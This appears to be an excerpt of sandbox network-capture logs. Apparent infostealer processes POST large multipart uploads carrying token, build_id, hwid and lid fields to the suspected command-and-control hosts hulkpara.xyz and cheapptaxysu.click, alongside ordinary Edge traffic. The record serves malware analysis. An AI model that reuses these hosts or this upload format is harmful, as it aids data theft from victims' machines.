0c2NyZWVuX3VybF9ibG9ja3NfYnlwYXNzZWRfY291bnRlciBJTlRFR0VSLHNtYXJ0c2NyZWVuX2Rvd25sb2FkX2Jsb2Nrc19jb3VudGVyIElOVEVHRVIsc21hcnRzY3JlZW5fZG93bmxvYWRfYmxvY2tzX2J5cGFzc2VkX2NvdW50ZXIgSU5URUdFUixzbWFydHNjcmVlbl9tYWx2ZXJ0aXNpbmdfYmxvY2tzX2NvdW50ZXIgSU5URUdFUixhYn
2024-12-19 15:11:20 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:22 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:11:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	50085	13.249.9.35	443	7344	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:21 UTC	925	OUT	GET /b?rn=1734621080502&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09B6C4049C2967923623D15E9D006621&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-19 15:11:21 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Thu, 19 Dec 2024 15:11:21 GMT Location: /b2?rn=1734621080502&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09B6C4049C2967923623D15E9D006621&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=17549a707df8de2385b30301734621081; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=17549a707df8de2385b30301734621081; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 6c980dcb60a714b7de2e5b65761a4940.cloudfront.net (CloudFront) X-Amz-Cf-Pop: CDG53-C1 X-Amz-Cf-Id: V5sMo0R27rTAGvb-hhqhDWZ-V1BRYdCvHfXme3GOd_F8QrdMPEUuyQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50115	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:22 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JWB1NYCJM7G4EUKNOHVA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 393697 Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:11:22 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 57 42 31 4e 59 43 4a 4d 37 47 34 45 55 4b 4e 4f 48 56 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 57 42 31 4e 59 43 4a 4d 37 47 34 45 55 4b 4e 4f 48 56 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 57 42 31 4e 59 43 4a 4d 37 47 34 45 55 4b 4e 4f 48 56 41 0d 0a 43 6f 6e 74 Data Ascii: ------JWB1NYCJM7G4EUKNOHVAContent-Disposition: form-data; name="token"48a9e16c08f97c7a20f9c66bb8ffb4d4------JWB1NYCJM7G4EUKNOHVAContent-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------JWB1NYCJM7G4EUKNOHVACont
2024-12-19 15:11:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:24 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:11:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50122	172.67.177.88	443	6696	C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:23 UTC	367	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WZLY7P7Z06D Cookie: __cf_mw_byp=gIsI15dzdszQwm_l7y4xe27ztvkMZ45Pqh2aogBSwSc-1734621055-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 381899 Host: cheapptaxysu.click
2024-12-19 15:11:23 UTC	15331	OUT	Data Raw: 2d 2d 57 5a 4c 59 37 50 37 5a 30 36 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 44 30 35 45 31 37 33 46 42 32 44 42 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 57 5a 4c 59 37 50 37 5a 30 36 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 57 5a 4c 59 37 50 37 5a 30 36 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a 2d 2d 57 5a 4c 59 37 50 37 5a 30 36 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --WZLY7P7Z06DContent-Disposition: form-data; name="hwid"83D05E173FB2DB55AC8923850305D13E--WZLY7P7Z06DContent-Disposition: form-data; name="pid"1--WZLY7P7Z06DContent-Disposition: form-data; name="lid"CZJvss----WZLY7P7Z06DContent-D
2024-12-19 15:11:23 UTC	15331	OUT	Data Raw: fc bf f8 05 8c 08 c1 ca 78 bf 82 03 3c fc e8 cd 1f f5 3e 0c e6 09 50 a1 dc 87 90 a6 f7 91 03 09 9e 1a 12 4f ab 10 58 16 1f 73 13 85 38 0c 4d e0 f4 7b c2 8d de 6d ed 39 c2 d2 a8 b1 a7 21 d1 51 46 a8 04 00 51 85 8d 3d 30 7e 14 93 e6 c7 9a fd e6 b6 56 a5 7e 25 d8 40 3c e0 4c 00 df 08 db 55 48 13 a6 7d 70 c5 03 ef 9f ed a0 56 3f 7d d6 1f ed c0 7f 6c e8 e1 22 06 0c 7e 9c 4d c7 58 24 be a1 fb aa 41 8f a1 de ce 01 37 8a f2 7d 01 02 18 15 b1 29 59 31 ac ac c0 98 3f 8f 83 e5 fa a4 1b 0d 72 e2 ec b1 ff a1 3f 28 60 59 a1 de 3f 33 82 b6 83 e9 6c 31 37 0c da 60 db e5 e0 7e 43 f0 ec 66 62 e1 09 3c 07 d0 3a d8 2d df e4 10 64 05 42 58 60 69 f5 34 fb 57 12 30 6b f4 32 98 ec ff 4d 0f 1c 90 d6 75 dd e3 8a 75 94 be 0e 39 b0 ef 77 80 8f fe 88 da 03 fb 06 c6 92 0d 0b 14 5b 53 Data Ascii: x<>POXs8M{m9!QFQ=0~V~%@<LUH}pV?}l"~MX$A7})Y1?r?(`Y?3l17`~Cfb<:-dBX`i4W0k2Muu9w[S
2024-12-19 15:11:23 UTC	15331	OUT	Data Raw: a2 e7 98 68 3e 61 4f 46 8b 20 0e 9f 8a 5b 40 25 08 cf 3b 92 b4 50 c5 02 7c e9 5d 0f 2c b3 9f ca 80 94 35 13 05 0c ae 2f 60 9f 13 61 43 dd 52 87 fd 5f 24 da 10 9c ac 28 c2 36 71 00 c7 70 9b 9f 1b c9 e2 c0 d5 9f 87 d4 31 00 ee e0 c0 63 a2 07 c7 e2 ef c6 a9 1e c4 55 93 c2 64 de 97 f9 18 aa 0d 0a 72 7b f3 58 d8 f2 38 56 bb d6 74 4c ed 6a d5 f3 d7 58 64 79 eb 05 aa 6a ae 97 5c 48 61 cd 2f bb 2e 44 f7 71 40 17 78 dc cc 69 91 a7 fa a0 5a 11 0d 8e f3 63 81 4e a6 da a8 b3 14 29 8b fa 27 84 6d a3 0f 92 fd 24 82 8e 9b a5 f9 09 2e a8 90 0d be f7 d3 9a 6a 26 b1 4a 70 60 c3 03 5d 4d b8 d4 64 6a 0b 07 78 4c 2a 57 ef 9b 8d 9a 37 bd 98 4c 49 8a 3d fd 4a 6d dd c4 81 87 8a 5c ef 0c d0 4c bb e8 12 8c 30 ff 6c 41 9a 83 68 8c 0f 91 ca 6b ae 33 50 de 79 83 bd 9d 3d 29 60 bb 68 Data Ascii: h>aOF [@%;P\|],5/`aCR_$(6qp1cUdr{X8VtLjXdyj\Ha/.Dq@xiZcN)'m$.j&Jp`]MdjxL*W7LI=Jm\L0lAhk3Py=)`h
2024-12-19 15:11:23 UTC	15331	OUT	Data Raw: 20 f8 29 c2 5c 80 19 91 bc 38 20 fe 3f dd 5d 78 8f 3c d6 60 38 54 11 c0 cc 43 6d ec 66 ad 86 8b a7 d8 27 f1 b3 1a 9b c6 60 95 e7 d6 e8 36 31 04 27 0b 92 d0 38 ba 78 d2 90 53 fb dd b3 b9 60 9d 82 c5 fe 9c 24 53 55 80 0f 63 b6 29 ea 80 5c 95 01 e6 a5 cc 53 ac ee 99 52 f9 99 f3 ad a5 75 a7 9b ae 06 e6 2a e7 d3 7b 7e f0 d3 de 74 e6 80 af 9b 24 84 cf ed f8 5d ea e9 61 38 7f bb fe e6 dc 35 29 fc fa 48 e9 21 46 d2 d6 9c e9 c2 56 0b 94 02 ca b8 be f9 7b 42 95 ba 50 df 3e 64 7c a5 bc db 9a 4e 7a 41 f1 1a 39 41 b6 1f da 6c ae 5a 42 99 48 4f 47 ba 71 ac dc 8d fd 3c 8c 07 94 2e 02 9c 90 c5 28 cd 6c 35 cd 98 96 ec 81 32 ce 4c f1 c0 27 fd b8 d6 cc be 0d bb f4 88 23 b4 33 f4 74 c2 b0 b9 67 e7 c9 ae e2 8e dd ad bb be c7 62 1f ca d1 2d 64 83 e1 39 cf 35 0c 24 01 f1 7f 5c Data Ascii: )\8 ?]x<`8TCmf'`61'8xS`$SUc)\SRu*{~t$]a85)H!FV{BP>d\|NzA9AlZBHOGq<.(l52L'#3tgb-d95$\
2024-12-19 15:11:23 UTC	15331	OUT	Data Raw: 2b f8 15 2e 7d 76 5d a9 58 e8 8c 62 3b 26 42 eb 8c 96 f4 b8 6c dd e8 3f 78 7d cc 3b 1a 11 15 eb f9 db ce f2 70 73 ec 45 e9 63 ea 82 e6 cf 96 60 82 17 a0 96 97 97 01 98 43 e0 c2 82 ed 7e ff ba bc ec 4b 0a ff cf 1e 7b 87 ff 69 3a f9 5f 5b 91 f9 08 d5 21 09 64 14 48 f7 76 79 3b 3b 85 80 89 e8 fb 3b e5 35 5a 28 03 c3 47 36 c0 37 e4 d2 e0 41 31 91 ba c6 f5 af fd cf 3c 4b 4c ba 8a 3c 48 ab 9c 31 5f f9 1d eb 5d 8b ee 8b 6f 88 5e fe 9a da 32 81 67 93 eb be 18 bd 12 5f a6 85 4e eb 30 18 30 65 29 c7 c8 f2 51 d9 49 5f 60 8e 6d de 62 37 2d 6c e7 46 d3 ac f0 eb 05 fe 7b 70 c0 15 75 95 cd 94 1e 04 dd 0d b7 55 06 c2 2b 5d 50 a4 b8 09 0b 28 84 a0 ac 58 90 39 7c c0 fb b4 8a 48 5d 57 b6 83 5f ee 20 cd e8 0e 21 d8 7a fb dd 16 00 5f ae a5 23 83 d3 dd 46 50 ac ad 05 de 7d 82 Data Ascii: 